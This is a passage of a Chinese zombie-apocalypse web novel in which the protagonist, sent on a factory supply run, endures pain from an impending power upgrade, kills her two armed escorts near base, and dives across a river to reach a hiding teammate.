武装人员:“还有几个小时到工厂,估算一下,等我们运完东西回去,最早也得五号下午了。”也就是明天。 他道:“回去后,把东西放下,我们还要去反方向的一个厂房运东西。” 换句话说,他们这些外勤,就算运完东西回基地,也不会停留,而是再次踏向反方向的征程。 车厢里的市民和学生们一听,脸色都不太好看。原本以为只有一趟任务,结果现在上车了才告诉他们竟然要跑两趟。 “别太担心。”武装人员道,“反方向那里路也都探好了,距离基地也是十几公里左右,如果顺利的话,七八号左右我们就可以回基地,到时候,会给这次出外勤的所有人放假。” 有人问:“放假?放多长时间?” 武装人员:“出外勤多长时间,就给你们这批放多长时间。” 这话落下,车上的气氛这才活络了些,也算是坏消息中的好消息了。 但对TRES的成员来说,这是坏消息中的坏消息。 两趟回去,最早都得七八号,早就超过剧情节点所规定的六号。 六号结束之前,他们必须要找到圣谕者。 这件要迎击大量武装人员才能完成的任务,不可能真的单由屈孚宁一个人去完成,如果真成了这种定局,无论对于屈孚宁还是对于整个TRES队伍来说,都是死局。 [怎么办,真的回不去了么? ] [<深渊>应该就是想要这样的局面,他们是不可能让温知初有机会回去合流的。 ] [目前看来好像没有解法。 ] [回不去的。 ] 话题的中心,温知初,她望向自己的终端。 章诎在终端里私聊了她,发来了几条信息,但是被<深渊>屏蔽了,只能看到一段段乱码。 虽然不知道到底说的什么,但能猜到是有关基地内的事,也许是屈孚宁那里受阻了,也许也只是普通地告诉她一些有关基地内的情况。 她顿了顿,颀长的手指在光屏上输入一行字。 Wen:[我会想办法。 ] 她会想办法回去。 虽然现在,看起来好像没办法回去。 受限于人设,受限于这次的外勤,受限于这么多武装力量,受限于时间,受限于<深渊> ,她这次确实被深渊边缘化了。 要怎么回去? 她冷静地透过尾门的缝隙往外看。 思考。 需要谨慎地思考。 终端的信号因为距离变得微弱,她发出的话一直在打转,可能得过一段时间才能传回章诎的终端。 兀然,一声“叮”的声音响起,却不是来自终端,而是034号。 034号:[宿主。 ] 034号: [系统出现了警报声,你这是怎么了么? ] 温知初:“嗯?” 034号也觉得很突然,它本来老实地运行着,突然系统响起了有关宿主身体的警报声,原本安安稳稳的身体数据突然剑走偏锋,疼痛值从3左右突然直接蹿到了50以上。 温知初的思绪被034号打断,随着034号的话,后知后觉地感受到喉咙里的腥甜味。 身体传来钝重的疼痛感,视线略显模糊了些,温知初倚靠着车厢壁,感应自己的身体。 耳边并没有传来有关<深渊>的关键事件节点,说明疼痛感并不是<深渊>带来的,而是自发的。 车子一阵颠簸,随着颠簸,温知初感受到了一阵眩晕,除此以外,疼痛感还算稳定。 她愣了愣:“034号。” 034号自查了半天没查到宿主身体数据异常的原因:[在。 ] 温知初:“帮我查查,我是不是快升级了。” 034号回答:[已查证,宿主的深渊登极处于A-99的边界,快要突破S级。 ] 果然。 温知初淡淡地应声:“嗯。” 034号反应过来…意思是,疼痛是快要升级带来的? 034号:[不对啊,从来没听说升级突破会带来疼痛的。 ] 闻所未闻。 其他人的体质升级都会让身体感觉到轻松,毕竟体质提升了,体格变好,身体会更觉得舒适,哪里有反而觉得难受的…疼痛值还一下飙这么高? 但…宿主身上的异常还少么? 034号的疑问没有得到解答,终端的声音再次响起。 这次不是副班长的终端,而是班长的终端响起了。 温知初抬眼,望向左侧。 隔着座位上的背包,晏逾明垂眼盯着手腕上的终端,明明没有看她,却察觉她的视线:“一起看?” 温知初顿了顿,手臂撑在放背包的那个位置上,略微倾身,看向屏幕。 也许是章诎重新传来的讯息。 她需要知道基地内的情况。 晏逾明的手腕也倾斜向她,两个人靠近,终端上确实也是章诎传来的讯息,却不是有关屈孚宁的。 诎: [储见仲和我出的都是东区的内勤。 ] Yu :[没有异常? ] 诎:[暂时没有,起码现在看起来挺精神的。 ] 诎:[我看着,不会让医疗站的那些人靠近他。 ] 趁着信号还算稳定。 Yu :[屈孚宁? ] Yu :[他怎么样? ] 对面传回了几条讯息,但全部都是乱码,信号断断续续的,偶尔才能看到文字。 卡车开到了隧道,光线一下暗了下来,终端上的文字模糊成一片。 等卡车开出隧道时,晏逾明的手腕已经放了下去,显然谈话已经结束了。 但是温知初没看到。 她抬眼,望向晏逾明:“他怎么说。” 晏逾明望向她:“乱码。” 始终是乱码。 意料之中。 温知初收回自己的视线,抽回撑在背包旁的手,重新坐直身,抽回半道的手腕却突然被班长给扼住。 她转向他。 晏逾明垂眼望着她:“不舒服?” 温知初愣了愣,她摇头。 晏逾明的手依然扼着她的手腕:“你知道吗,你现在的脸色和你上一轮一模一样。” 温知初沉默着不说话了。 晏逾明比她想象中要关注她。 很明显么?可是真的,这种疼痛感的话,也许是太习惯了,她并不觉得有多不舒服。 沉默中,温知初抽回自己的手腕,她重新倚靠回车壁,但能感觉到左侧传来的视线,一直定在她的身上。 身旁的背包被人拎起来,放到了另一个位置,晏逾明落座,两人的身影一下毗邻。 温知初放在口袋里的手指略微蜷缩。 不是…为什么要这么关注她…难道这就是人类所说的合作关系么… 她开口:“没有不舒服。” 她补充:“真的。” 她转过身,对上晏逾明的眼神,为了让对方看清自己眼底的情绪。 晏逾明深深地盯着她,像是要透过双眼看穿她。 片刻后,晏逾明从她背包里拿出了水瓶,拧开瓶盖,递给了她。 温知初定了定,接过了水,仰头,灌了几口。 “温知初。”晏逾明看着她,“你的秘密真的很多。” 温知初放下水瓶,没明白他的意思。 晏逾明却轻车熟路地拿回了她手中的矿泉水瓶,重新拧好瓶盖,放回背包。 动作很流畅,就好像他们早就习惯如此亲密一样。 可明明不是,由是温知初有些不自然地望向和自己隔了一个位置的背包。 第93章 “之前你说的, ”晏逾明盯着她,“等到合适的时机,你真的会说出来?” 温知初回应他的视线:“会。” 卡车到了石子路,一直颠簸着,两个人的身影却都很稳定。 晏逾明:“还要多久?” 温知初:“快了。” 晏逾明瞥了她一眼:“那我要当第一个知道的。” 温知初没听清,她望向他时,晏逾明却转移了话题:“还渴么,喝水?” 温知初定了定,轻轻地摇头。 “休息吧。”班长说, “下车的时候我会喊你。” 温知初收回了眼神。身体的不适确实加重了, 她需要休息会儿。 她的下半张脸缩回围巾里,这回却没有再戴回耳机了,像是为了预防毗邻的人还有什么话要同她说。 闭目养神中,却没怎么睡得着,一想到身体的不适感是因为快要升级的征兆,精神略带着兴奋,不由地开始思考,思考接下来的路该怎么走,就近的未来,稍远些的未来,都想着… 武装人员:“都起来, 快下车了, 分下武器。” 武装人员把车上的人喊集中了说话,简单讲了下等会儿下去该怎么分工,哪些负责搬运,哪些负责盯梢和保护搬运的人,队型是有热武器的人包围负责搬运的人,一路这么进去。 每个人都被分发刀具,负责盯梢的人还能分到一把短|枪。 一边分发武器一边也在分发饭,这会儿都下午了,吃好第二顿才有力气下车干活儿。 温知初没有领饭团,拿回一把小臂长度的弯刀,坐回位置,安静地用绷带裹刀柄,一圈一圈裹得非常紧。 分下来的饭团梆硬,好多人吃得龇牙咧嘴,温知初不禁把视线望向了身旁的晏逾明,他吃饭的样子和他做任何事一样都很淡漠,有时候她真怀疑他是她的同类。 车上,有市民问:“还要多久才能到啊。” “快了。”武装人员道,“已经进了工厂区,距离我们要到达的那个厂房,还有半个小时的路程。” 如果按照末世前,工厂区内这么点儿这点距离,几分钟就到了,如今估算却必须半个小时打底,是因为工厂区里的丧尸…太多了。 那些尸变了的工人、来工厂区聚集的其余丧尸,如潮水一般,密密麻麻,挤挤囊囊。 从卡车外的动静也能一觑究竟,卡车行进的速度越来越慢,外面丧尸撞车身的声音一时间聒噪无比,已经不是雨点般的动静,而是雷轰般阵阵的,“劈里啪啦”得撞在车壁,也撞在人的耳壁。 车身剧烈摇晃。 车上的市民和学生们也不敢靠着车壁坐了,紧握住刀站起身,市民们连祈祷的余力都没了,精神高度集中地瞪大眼睛往四周看。 车厢又是几声猛烈的晃动,车上的人站不稳,身体晃动。 卡车被包围了,被丧尸包围了。 前方引路的皮卡必须要突围,要爆破,而爆破之后,是重卡上人下车的最佳时间。 重卡上的武装人员也站起身,枪已上膛,随时准备带人下车。 他们拿起对讲机:“可以开始爆破了。” 放下对讲机,对其他人说:“等会儿听我指令,按照队型下车,别乱晃,抓稳步子,别突然摔倒,武器全都握紧了。” 温知初拎起背包,她解开围巾,放回背包里,斜挎背包的同时左手单握短刀的绷带柄。 修长的手指缓慢地包裹住刀柄。 车上的人呼吸都很急促,不一会儿,外面传来了爆炸声,不止一声,接连三声有余。 武装人员的对讲机传来声音:“第一轮爆破完毕,死了两个外勤同胞,再爆破一轮大家再下车。” 死人的消息就这么简短地被带过了。 死的是前面皮卡外勤中的两个,听到这个消息,重卡上的气氛顿时变得紧张而低迷。 武装人员:“你们要记住,他们是为了你们而死的,也是为了我们所有人而死的,等会儿下车的时候,任何一个人不要辜负他的牺牲,都得跟上。” “但凡有逃跑的。”武装人员拍了拍腰间挂着的枪,“一律当成丧尸看待。” 卡车震动,外面又响了几声爆炸声。 “下车!”武装人员道。 尾门被踢开,武装人员包围着外勤下车,全都往厂房里跑。 温知初跳下车,随着人群跑,武装人员的子弹跟雪花一样随风往外飘,击中周围涌上来的丧尸,市民们和学生们都跑得很卖力,毕竟是跟死神赛跑,谁也不想慢一步脱离队伍,被那些丧尸拖去咬死。 温知初一边快步跑,一边拎起了一个踉踉跄跄快要摔倒的学生,那学生糊糊涂涂被一股大力拽进了门内,还没来得及道谢,副班长已然只剩一个远去的背影。 进了厂房,把大门关上,隔绝大多外面可能被吸引而来的丧尸,就要开始搬运物资了。 武装人员:“分散开来,注意保护搬运的人,动作都快点儿,半个小时内运完!” 最多撑半个小时。 厂房外有人要清理不断被吸引来的丧尸,厂房内肯定也有丧尸,哪怕没有外面那么多,肯定也不少,随时都得警惕着,必须尽快做完事。 厂房里的人一边提防着随时不知道从哪里冒出来的丧尸,一边得把罐头箱、药箱、柴油桶往外运,窗口外有人接着。 人群穿梭在高高的货架间,有些物资,需要踩着梯子才能够到。 已经是傍晚,这里又停电,必须把手电筒打开才能看得清路,光这么一照,能看到许多丧尸从暗处扑过来,一时间又是许多手忙脚乱。 有人从梯子上摔下去了。 武装人员的吼声在厂房的二楼传来回音。 “快快快,负责运药的来二楼!” “注意楼梯别踩空了!暂时不需要分类,没这个时间,装箱后赶紧抬着就往窗口送!” “别拖拉,跑起来!跑起来!” 间或夹杂着市民和丧尸搏斗的尖叫声。 厂房外枪声不断,一声声若催命鼓。 温知初踩着枪声上了二楼,踢开一个从斜对方墙角扑过来的丧尸,右手的刀在掌心转了一圈,横插入了另一个丧尸的脖颈,鲜血往外溅,她把刀拔出来,满手全是血。 丧尸从二楼坠落。 药箱基本都在高货架。 温知初踩着梯子往上,快速地瞥过药箱的标签,拽出来后扔到地上,有其他人在梯子下等着,负责往楼下运。 大家似乎不太想爬高,基本上都在梯子下等着。主要人在梯子上,哪儿如果突然冲过来一个丧尸,连维持平衡都很难,更何况自保。 梯子下有人喊:“快点儿啊!” 声音在打抖,大嗓门儿的情绪其实不是冲梯子上的副班长,而是确实害怕。 温知初往下瞥了一眼,那市民紧紧地攥着刀,紧张地四处乱看,这么冷的天脸上都是汗,感觉随时都能晕过去。 温知初:“接着。” 药箱往下运扔,那人接到手,拎起地上的几个药箱立刻开始跑。 他的视角没看到,就在旁边的箱子堆里冲出来一个丧尸,不知道匍匐了多久,趁着这功夫朝两只手抱满货物的市民扑来。 而本该在周围盯梢的外勤竟然一个都没有。 因为实在太突如其来,市民陷入了木僵状态,一时间连放下货物抽出刀的反应都没有,眼睁睁看着糜烂着的半张脸咧开嘴地朝他扑来。 站在梯子上的温知初一只手撑住货架,另一手将手中的刀甩了出去,短刀在半空中划出利落的风声,跟子弹从枪口发射出来一般,“砰”得一声劈入丧尸的后脑勺,直接把它的脑袋从中给劈开。 “噗呲”一声,大量的黑血和浆溅在市民的脸上。 温知初看人还僵着,冷冷地说了一句:“跑。” 市民这才从木僵反应中抽离出来,手忙脚乱地开始跑,这时候另一排货架里负责盯梢的武装人员这才跟了过来,护着几个搬运的人往下跑。 在下楼梯的时候,刚才差点丢命的那个市民往回看了一眼,想看看刚才救他的那个学生…好像是四班的副班长… 这么回头一看,梯子上已经没人了。 因为就在刚才,高处货架上突然蹿出来几个丧尸,温知初的刀没了,她拽住货架的支柱,直接上了货架。 有个朝着梯子扑的丧尸“哐当”一声撞过去,没扑着攀上货架的温知初,连着梯子一起倒下去,其他丧尸立马改变方向,都朝货架间拼命地爬,爬动中,不时会掉下去几个。 货架摇晃,温知初踩着架子的边缘不断往更高处攀,仔细看,会发现她无意跟那些丧尸搏斗,攀到高处的过程中似乎是在一直在找着些什么。 她爬到货架的最高处,眯着眼睛往远处看。 [小温在找什么? ] [不知道啊,他们不是来运送物资的吗? ] 厂房的货架有四五米高,站在最高的地方确实能看清整个二楼到底都有哪些货物,不过似乎没有温知初想找的东西。 她收回眼,躬身,直接从货架上往下攀,攀着架子,一节一节朝下跃。 落地后,踢开一个扑过来的丧尸,走到刚才丧尸头颅被劈开的地方,把自己的短刀抽出来,刀柄绷带早就被血浸湿透,她甩了甩刀身,转身,朝三楼走。 三楼有上一个队伍在此生活过的痕迹,楼层的地面还有被褥和床单,这里应该也曾是其他人群的基地。 温知初快速地在货架间走,最终,在倒数第三排那里,零零散散找到了自己想要的东西。 工业面罩、压缩氧气罐、软管、还有大大小小的防水袋、绳子之类的,这些东西分开来可能没什么用处,合起来可以组合、改装成一套潜水装备。 东西都被包装过,氧气罐也是压缩型的,这次带的背包很大,倒是能塞进包里,不过非常沉,单是个氧气罐就有七八公斤,所有东西合起来得有十五公斤以上,背包材质够硬,要不然肯定会被撑开。 拉起背包,温知初从三楼往下走。 正好也到撤退的时间了,一楼的铁门拉开,武装人员吼叫着:“走走走,都走!” 温知初往下走的过程中,看到了不少的尸体,有丧尸的尸体,也有外勤的尸体。 她停留瞥了几眼,很快地继续往下走。 外面响起爆炸声,又开始新一轮的爆破。 一楼的丧尸特别多,已经是需要从丧尸堆里挤出去的程度。 副班长救不救人,完全看心情。 尖叫声中,有个扑来的丧尸手臂已经搭上了一个男学生的肩膀,路过的温知初顺手抽出刀,刀锋从丧尸的腋下架起来穿过脖颈,“咔”的一声切开半边脖颈。 因为停留,其他丧尸朝她扑来,左手的刀柄换到了右手,握着刀柄反转,不断插入丧尸的头颅、而后拔出来,再扯开一个趴在背包上的丧尸,她从窗户口跳了出去。 外面,卡车周围在爆破,不断有爆炸声传来,将丧尸潮炸出一道道缺口。 卡车已经启动了,站在后车门的武装人员大声喊:“上车!上车!都快上车!” 五分钟之内,他们必须离开这里。 人群中,温知初没有走回来时的那辆卡车,而是走向探路的皮卡旁,车里坐着两个武装人员,其中一个正在火急火燎地用对讲机讲话。 好像是说探路的人不够,还需要一个外勤,双排的皮卡座位,后排需要两个外勤,负责坐在后排随时待机爆破,清障,看路现在还差一个。 高危工种。 之前的外勤死了,现在得换人替上,短促时间内找不到什么人,武装人员在皮卡外随手截住一个外勤,让他留下。 很巧,皮卡外站着的人温知初很熟,班长。 两人视线对上,晏逾明看了眼满身是血的温知初,一向淡漠的眉眼顿了顿,他的眼神定在她身上,似乎想说些什么,不过温知初没时间去读他的眼神。 “缺人吗?”温知初朝后排说,“我有经验。” 武装人员头一次遇到有人主动报名来皮卡的,毕竟来的路上就已经死了两个皮卡外勤。 “不用。”武装人员道,“已经选好了,这不是你们的班长么,我看能做这么长时间班长,应该有能力。” 身后那道高大修长的身影走过来,胳膊越过温知初的肩,似乎想要捂住她的嘴,不让她再说什么,不过在此之前,温知初的手按住了他的手背。 不仅按住了,而且握住了,对于温知初而言,已经是非常亲近的动作,像是某种无声的安抚,表明她必须要做这件事。 似乎惊讶于温知初的动作,晏逾明顿住,他望向握住自己手心的颀长手指,温热的温度停留着。 温知初修长的手指抵住他受伤的手背:“班长受伤了。” 她冷静而沉稳地开口:“我比较有经验,让我来。” 第94章 在路被堵之前, 必须要出发了,没太多时间思考。 温知初上了皮卡。 一上车武装人员就发动了引擎。 皮卡从爆破的缺口冲了出去,已经开出去一段路。 后排上还坐着另一个外勤,一个长脸的中年女人,同样负责清路障和看路,必要时可以做替补司机。 “你可以把背包放这里。”那中年女人道, 指的是他们两人之间的空档位置。 她的坐姿很局促,像是特意为温知初的背包腾出位置,身体紧紧地贴着车门。 “不用。”温知初道, “谢了。” 她把背包放在自己的身前,车子的空间不算大,她的后背紧紧地贴着车座。 外面的天已经完全黑了,不远处传来荒凉中透着点儿滑稽的鸟叫声,一声接着一声。 车窗户只开一道缝隙, 湿寒的风往里钻,没有路灯的路开得十分缓慢而谨慎。 温知初透过车窗往外看,有塑料袋从半空中飞过去,在泥沙中打着圈落下。 围墙旁低矮的树枝划着窗玻璃,车开过去的时候,树枝会发出断裂声。 温知初的身体安静地钝痛着,如同黑夜中不断被 折断的树枝,从外表看,只能看出她逐渐苍白的脸色。 和上一轮的疼痛有所不同,之前的疼痛是<深渊>所带来的,有如无法摆脱的烂泥,充斥着恶意,但这次的疼痛是快要升级所带来的副作用,是自发的,就算再怎么疼,都是值得的。 温知初的双眼变红了,不知不觉爬上因钝痛而产生的红血丝,不知道过了多长时间,她的脸色从原本的苍白变成了一种反常的双颊潮红,像是某种内出血的征兆。 034号: [宿主… ]它看着节节升高的疼痛值有些害怕。 温知初:“没事。” 皮卡继续颠簸着前行。 偶尔,折射的车灯会反射在温知初的脸侧,过于完美的轮廓在光影中若隐若现。 她的身影倒映在车玻璃上,车身后的卡车是光源的来源,两辆卡车缓慢地跟着探路的皮卡。 晏逾明就在身后的那辆军卡上。 温知初不由地想起了他,想起刚才他离开前,不知意味地捏了捏她掌心,他的手指很冷,握她的手心握了有半分钟。 总之,不太像她印象中的晏逾明会特意做的事。 难道这就是合作关系么?因为他们之间转变了关系,他也会转变态度? 对于人们的情感,温知初还是琢磨不透。 很巧,刚想起他,终端就亮了。 是他发来的消息,简洁明了。 Yu:[保护好自己。 ] Yu:[别受伤。 ] 又是一件她印象中晏逾明不会特意做的事。 温知初沉默着,她的唇角不易察觉地上移,很快又抿平。 似乎不是一个需要回复的讯息,本来没准备回复,但顿了顿,想起他们之间的合作关系,温知初的手指抵在光屏上。 Wen:[好。 ] 这不是来自副班,而是来自温知初本人的回复,毕竟副班才不会如此平和地回复班长的消息。 消息传出的那个瞬间就被已读了,就好像对面一直在等着消息一样。 温知初的左眼皮轻微地一跳,莫名察觉到一股她无法理解的情绪从身体里流经,转瞬即逝。 还没分清这是种什么感觉,身旁传来痛吟声。 温知初侧过身,身旁的中年女人不好意思地说了声抱歉,捂向自己的胃:“老毛病,饿。” 温知初轻微地点头,算是交流过了。 车厢内重新恢复安静,大概又颠簸了几个小时,天色从浅黑再到深黑,越来越深沉,从月亮的轨迹来看,已经到了凌晨。 这期间,她和中年女人下去清了两次路障,爆破过一次丧尸群。 回到车上,武装人员把食物扔给他们,竟然还有水果。 温知初留意到,中年女人说饿得胃疼,但一口都没吃。 前座的武装人员已经换了一轮司机岗,不过现在开车的这位看起来也挺疲惫。 两个武装人员一直在聊天,时不时飙几句脏话,时不时又大笑,似乎借此来清醒,他们偶尔也和后座的外勤搭话,不过中年女人一句也不回,她也不睡,也不吃东西,睁着一双眼往前看,眼神很空洞。 明明没人和她挤,但她就是很局促地缩在车座上。 温知初更不用说,其他人说十句,她都可能都不回一句话的性格。 武装人员朝后面看:“你这么大一个包里装的什么?” 温知初淡淡地开口:“物资。” “现在年轻人话真少啊。”副驾驶座的武装人员悻悻地开口,“你们这些学生平常聚在一起也这样吗,什么话都不说?” 温知初倚靠在椅背上,没有再回一句话。 副驾驶往右后方看:“那你呢,来的路上话这么多,怎么也不说话了?过去的事儿就过去了,别放在心上了。” 被点名的中年女人像是这才从沉思中惊醒,肩膀条件反射地抽搐了一下,她没有抬头,也不回答,从昨天到今天,她一点东西都没吃,嘴皮子发干也不喝水。 温知初瞥了她一眼。 车上的气氛十分沉闷。 武装人员“切”了声,也没再说话。 终端的信息提示音在沉寂中响起,温知初收回看向车窗外的视线。 看到消息后,温知初的视线定了定。 是章诎发来的,这条消息终于不是乱码了,但并不是什么好消息。 诎: [屈孚宁失联了。 ] 从昨天开始就失联了。 无论章诎怎么尝试联系,都无法对上屈孚宁的信号,昨天晚上章诎兑换时间去找了趟屈孚宁,仓促中,没找到任何有关屈孚宁的踪迹。 往最好的方向想,可能是终端的信号实在受阻。往坏的方向想,屈孚宁可能遇到障碍,甚至受伤了。 在这条并不怎么好的消息后,跟着的文字又变成一串串乱码。 此时,皮卡颠簸着停下。 武装人员敲敲车门:“路障,下去帮着清路障。” 车门打开,温知初和中年女人下了车。 这已经是第三次、他们一起下来清路障了,前两次路障规模比较大,武装人员喊了后面的重卡上的外勤下来一起清理。 这次只是一些拦路的带状物和可能轧轮胎的玻璃渣子,她们两个人够了。 从车上走下来的、落地的瞬间,温知初的脚踝传来一阵刺痛,关节像是被什么东西狠狠地钳了一把。 钝痛持续着蔓延。 她没停,把支杆别在腰后,躬身处理路中间的铁皮。 俯身的时候,身体中的疼痛明显地蔓延到背部,肩胛骨有如撞击般疼痛,但这些症状,光从她的神情中根本看不出来。 她没作声,只是加快了动作。 不远处,中年女人似乎被什么东西绊了一脚,跌倒在地,一时间摔在地上,手似乎压在玻璃渣上了。 温知初顿了顿,她走过去,伸出手,中年女人被拽了起来。 温知初随口:“怎么称呼?” 中年女人:“阿朗。” 两人话都不多,周围再次陷入沉寂。 中年女人站起来后,看着自己被扎出血的手心,发了会儿呆,终于,她开口:“我不想回去了。” 一句没头没尾的话。 温知初抬眼:“嗯?” 中年女人:“你最好也别回去了,这些人没有人性的。” 她的嗓子因为长时间没进水而沙哑:“来的路上,我们车上死的那个人,是被丧尸咬死的。” 那人下车清理路障,她当时负责的是司机岗,没下车。 有丧尸突然从路旁边冲出来,清路障的外勤太过于认真忽视了后方… “当时明明还有一段距离…”阿朗道,“车里面的武装人员就那么看着丧尸扑过去,谁都没有开枪。” 就好像是故意想要看着那个外勤去死一样。 温知初的眉尾轻微地动了一下:“现在他的尸体在哪里?” 如果是故意的,那个外勤的尸体肯定会被武装人员收起来。用来做实验之类的。 阿朗:“在后备箱。” 果然。 中年女人:“我很后悔。” 她后悔她当时是司机,没有下去一起帮忙清路障,如果一起的话,也许就能看照住他了。 她更后悔的是,当时来当探路的外勤,是她喊着他一起来的。 阿朗是个虔诚的信徒,她认为应该积极为众人做些什么,所以才会主动申请当皮卡的外勤,由是便带上了自己最亲近的人。 这一切都错了。 眼睁睁看着他死在自己面前的时候,中年女人的信仰和她的精神一起崩溃了。 “砰!” “砰!” 两声枪声响起,皮卡里的枪口探出来,两颗子弹射杀了两个从暗处冲出来的丧尸。 枪声很响,温知初的眼皮只是轻轻地抬起看了一眼。 温知初:“能问问那个外勤和你什么关系么?” 中年女人:“他是…我儿子。” 一个末世里难得善良到极致的孩子。 难怪中年女人的眼神透露出死意,她确实不想活了。 两人清理着路障,从灌木从里突然蹿出一个丧尸,动作快而轻,车上的人没反应过来,它已经扑了过来,直奔就近的中年女人。 中年女人就那么看着,眼神空荡荡的,完全没有反抗的意识。 温知初抬眼,身后的支杆被她抽出来,半空中劈过去,利落而骇然得一声“咔”,丧尸的脖子被砍断,头颅斜着掉落,沾满血的支杆被温知初收了回来。 动作看起来轻描淡写,可事实上,仔细看,能看出她的手腕在轻微地颤抖。 因为全身的痛感在递升。 她把支杆收回腰后的时候,肋骨疼得好像要裂开,呼吸声都变得断断续续。 真不巧啊。 果然无论什么事情的突破,都是需要付出代价的,她升级的代价,似乎尤其大。 中年女人愣愣地看着她,突然回神:“你鼻子在流血。” 温知初淡淡地:“嗯。” 她用纸捂住自己的鼻子,脸色苍白。 她站定了会儿,看了圈四周,地上的路障显然已经被清好了。 “走吧。”温知初背过身,“该回车上了。” · 天亮了。 皮卡引着卡车往基地回,开开停停,还得有三四个小时的车程。 “估计。”武装人员说一个字打一个哈欠,“等回到基地的时候…” 再打一个哈欠:“最快也得下午了。 ” 天气又冷,人又困,皮卡越开越颠簸。 副驾驶的武装人员想换班都换不了,他自己困得连睁眼都难。 坐在驾驶座的武装人员猛灌一口水,矿泉水早就冻成了冰水,试图凉醒自己,结果更困了。 车上四个人,最清醒的只有后排左座的温知初。 两个武装人员不用说,中年女人一直没吃没喝,从脸的肿胀程度来看也能看出精神状态不对劲,只有温知初一直盯着车窗外,眼神和窗外的雾气一样平淡。 树影倒退着,车上的哈欠声没断过。 温知初抬眼:“换我开吧。” 前座先是沉默,而后一惊:“你会开车?” 温知初:“会。” 车门打开又关上,温知初上了驾驶座。 中年女人看到后排换成了武装人员,本来靠着车门的身体更加往车门方向挤。 皮卡平稳地行进着。 武装人员眯了一会儿,睁开眼的时候已经是下午了,天光逐渐偏斜,他往窗外一看:“快到了。” 已经能远远地望见监狱基地外的那个桥了。 这段路已经在防线周围,属于清杀过的安全区,已经没必要提心吊胆什么,更不需要皮卡来探路,后面两辆重卡已经开到前面去了。 “开得挺好。”武装人员有些惊讶。 温知初没有回应,安静地打着方向盘。 两个武装人员看到能快基地,神情肉眼可见放松起来,已经聊起天来。 “这趟回去终于可以换岗了。” 和这趟出来的外勤不同,武装人员回去后直接可以休息,会有换岗的人来顶替,外勤这种损耗品似乎没有这种待遇,他们只在门外停一下,紧接着就得反方向地进行下一趟。 两个武装人员已经开始聊起来回去吃什么了。 中年女人依旧瑟缩在车门旁,动都不带动的,直到她空荡荡望着车窗外的眼神发现了些许异常… 路好像不对… 这不是回北门的路。 准确的说,是在回北门路的方向偏了一下,本来得开到桥的南边,结果开到桥北面儿去了,再开,就到河旁边了。 聊天的武装人员看到窗外的光景,水泥桥外的黄芦苇长到了有两米多高,在寒风里直摇。 武装人员皱起眉:“开错了,你怎么开到水泥桥北边来了。” 再开就快要开河里去了。 温知初单手握着方向盘:“我知道这是桥北。” 武装人员的眉头皱得更紧了:“什么意思?到了家门口反而不认识路了,不会开下来换我开。” “抱歉。”温知初的掌根轻轻地压在方向盘下沿,“我要在这里下车。” 温知初的语气太平淡了,平淡而温和,以至于武装人员根本没意识到任何气氛突变的征兆。 话音落下的下一刻,温知初没有握方向盘的右手“唰”得从副驾驶的枪袋里抽出配枪,拔出的一瞬间上膛,贴着座椅的角度枪口调转,“砰!”的一声,子弹从副驾驶的下颌穿过脑顶,血水喷了满座。 一切发生在瞬息之间,等另一个武装人员想要反应时,已经来不及了。 后排右侧的武装人员半截枪都没拔出来,温知初回身,扳机扣动,“砰”得一声,子弹从胸口穿透,武装人员的身体猛一抽动,眼睛不可置信地睁大,血溅在车窗上,模糊成一片。 两声枪声结束,血在车上蔓延,温知初平静地收回了枪。 后座的中年女人愣愣地看着她,屏住呼吸,脑袋中一片空白。 温知初打开车门,拎回了自己的背包,望向车内的女人。 “我要在这里下车。”她垂眼,“你自便。” 第95章 黄芦苇地是个死角,泥沙地里芦苇发得十分高,根本看不清这里到底发生了些什么。 远处传来皮卡车离开的声音,温知初走到了河边。 沉甸甸的背包被扔到泥地上, 直接砸出一个浅坑。 河岸起风, 吹得水面起褶。 换上潜水装备, 戴好面罩, 把管子咬在嘴里…在下河之前, 温知初打开了终端。 她发给屈孚宁的消息一直没有回复,他大概真的遇到什么事了。 修长的手指光屏上动了动, 她再次发回了两条消息。 Wen:[撑住, 我会来找你。 ] Wen:[很快。 ] · 水温很冷,氧气最多能撑三十分钟。 从水里走, 主要是避开从北区到南区这段路里层层的防线和武装人员。 按照路线,需要在三十分钟内潜水到南区仓房附近上岸。 屈孚宁肯定在南区某个建筑的通风通道里躲着,要不然失踪这么长时间,他绝对会被武装人员发现。 哪怕设备老旧,潜水对于温知初来说并不算什么难事,难的是身体不受控制的钝痛,随着时间的推移,越来越明显。 水冻得胸口一阵一阵得疼,疼痛感从脊背向内脏蔓延,五脏六腑有种被水压挤着要裂开的感觉。 她用小刀插入石缝内, 停顿了片刻, 而后继续往前潜。 水底有多安静, 另一侧的南区现在就有多喧闹。 枪声不断。 屈孚宁的失踪,昨天晚上就被发现了。 内勤和外勤不一样,外勤少一个人没那么明显,毕竟出外勤,很容易死在外面儿,但是内勤一共就这么多人,名单上列得一清二楚,不可能在基地内凭空消失。 昨晚一清点人数,少了一个屈孚宁,武装人员立马去找。 北区、中区、西区、东区、南区都在搜查,尤其是南区,作为宗教的核心行政区,如此重要的地方当然搜得最严。 这么多人一起找,竟然都没找到,上头发了好一通火,耽搁了内勤的效率,下面的武装人员不得歇,不断搜寻,必须要把这失踪的学生找出来。 就因为这事儿,昨天晚上学生们的通舍一晚上都亮着灯,屈孚宁没找到,他们也成了辅助的嫌犯,个个都在被盘查,一个都没能闭眼。 屈孚宁去哪儿了? 他当然在南区。 不过他状态不太好,准确的说…太糟糕了。 从昨天晚上全区开始搜捕他,他就躲在同一个地方,到现在快晚上了,他已经在同一个地方瑟缩了不知道多少个小时。 是的,瑟缩。 他整个人蜷缩在南区一栋建筑的通风管道里,处于进退两难的状态。 他绝对没办法出去。 外面的人都在找他,那些武装人员已经搜查到非常不耐烦的状态,外面甚至有人在拿着枪乱扫,也许想着无论人躲在何处,乱打一通,也得把人给弄死。 屈孚宁满身是汗,喘气的声音越来越重。 这么冷的天气,他全身都是汗,完全是因为他现在的姿势——他是靠核心,横卡在通风管道里的。 这片通风管道其实被人搜过,还搜过不止一趟,他之所以没有被发现,是因为他利用了视觉盲区。 他现在待着的这个通风管道是从上斜着往下的管状通道,像麻花一样绕了三圈,一共有三个横截面,有些像游乐园里的滑梯,人从上面其实是一眼能望到底面的,那些武装人员经过这里,都往下看了,确实能一眼往下看到底下的空地。 屈孚宁躲在了倒数第二个横截面那儿,利用核心撑着,正好能躲开从上面往下看的视线区。 说是横截面,其实完全是反人类的斜面儿,就一点点儿横着的姿态,得靠十分大的劲儿才能不出声地撑在原地。 屈孚宁已经不知道自己在这里躲了多久,撑了多久,只知道自己全身上下的骨头像长在这管道里一样,麻得快没有知觉了。 